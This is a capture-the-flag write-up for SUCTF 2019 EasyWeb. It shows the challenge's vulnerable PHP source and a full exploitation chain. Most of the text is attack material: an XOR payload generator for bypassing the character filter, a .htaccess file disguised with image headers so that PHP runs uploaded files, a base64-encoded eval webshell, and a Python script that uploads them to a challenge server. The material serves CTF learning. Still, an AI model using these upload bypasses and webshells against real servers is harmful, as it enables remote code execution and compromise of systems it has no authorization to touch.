[SUCTF 2019]EasyWeb

1. <?php
2. 
3. $hhh = @$_GET['_'];
4. 
5. if (!$hhh){
6. highlight_file(__FILE__);
7. }
8. 
9. if(strlen($hhh)>18){
10. die('One inch long, one inch strong!');
11. }
12. 
13. if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
14. die('Try something else!');
15. 
16. $character_type = count_chars($hhh, 3);
17. if(strlen($character_type)>12) die("Almost there!");
18. 
19. eval($hhh);
20. ?>

1. function get_the_flag(){
2. // webadmin will remove your upload file every 20 min!!!! 
3. $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
4. if(!file_exists($userdir)){
5. mkdir($userdir);
6.     }
7. if(!empty($_FILES["file"])){
8. $tmp_name = $_FILES["file"]["tmp_name"];
9. $name = $_FILES["file"]["name"];
10. $extension = substr($name, strrpos($name,".")+1);
11. if(preg_match("/ph/i",$extension)) die("^_^"); 
12. if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
13. if(!exif_imagetype($tmp_name)) die("^_^"); 
14. $path= $userdir."/".$name;
15.         @move_uploaded_file($tmp_name, $path);
16. print_r($path);
17.     }
18. }

1. #define width 1337
2. #define height 1337

1. 在.htaccess前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加，或者使用python的bytes类型)
2. x00x00x8ax39x8ax39 是wbmp文件的文件头
3. .htaccess中以0x00开头的同样也是注释符，所以不会影响.htaccess

1. #define width 1337
2. #define height 1337 
3. AddType application/x-httpd-php .feng
4. php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_c41893938531041badacfc22febe3abd/123.feng

GIF89a00PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+

1. <?php
2. $l = "";
3. $r = "";
4. $argv = str_split("_GET");
5. for($i=0;$i<count($argv);$i++)
6. {   
7. for($j=0;$j<255;$j++)
8.     {
9. $k = chr($j)^chr(255);      \\dechex(255) = ff
10. if($k == $argv[$i]){
11.   if($j<16){
12.     $l .= "%ff";
13. $r .= "%0" . dechex($j);
14.     continue;
15.           }
16. $l .= "%ff";
17. $r .= "%" . dechex($j);
18. continue;
19.         }
20.     }
21. }
22. echo "\{$l`$r\}";
23. ?>

1. import requests
2. import base64
3. 
4. htaccess = b"""
5. #define width 1337
6. #define height 1337 
7. AddType application/x-httpd-php .coleak
8. php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.coleak"
9. """
10. shell = b"GIF89a00" + base64.b64encode(b"<?php eval($_REQUEST[1]);?>")
11. url = "http://4028da5b-e08f-416a-ac17-294cc9922bba.node4.buuoj.cn:81/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"
12. 
13. files = {'file':('.htaccess',htaccess,'image/jpeg')}
14. data = {"upload":"Submit"}
15. response = requests.post(url=url, data=data, files=files)
16. print(response.text)
17. 
18. files = {'file':('shell.coleak',shell,'image/jpeg')}
19. response = requests.post(url=url, data=data, files=files)
20. print(response.text)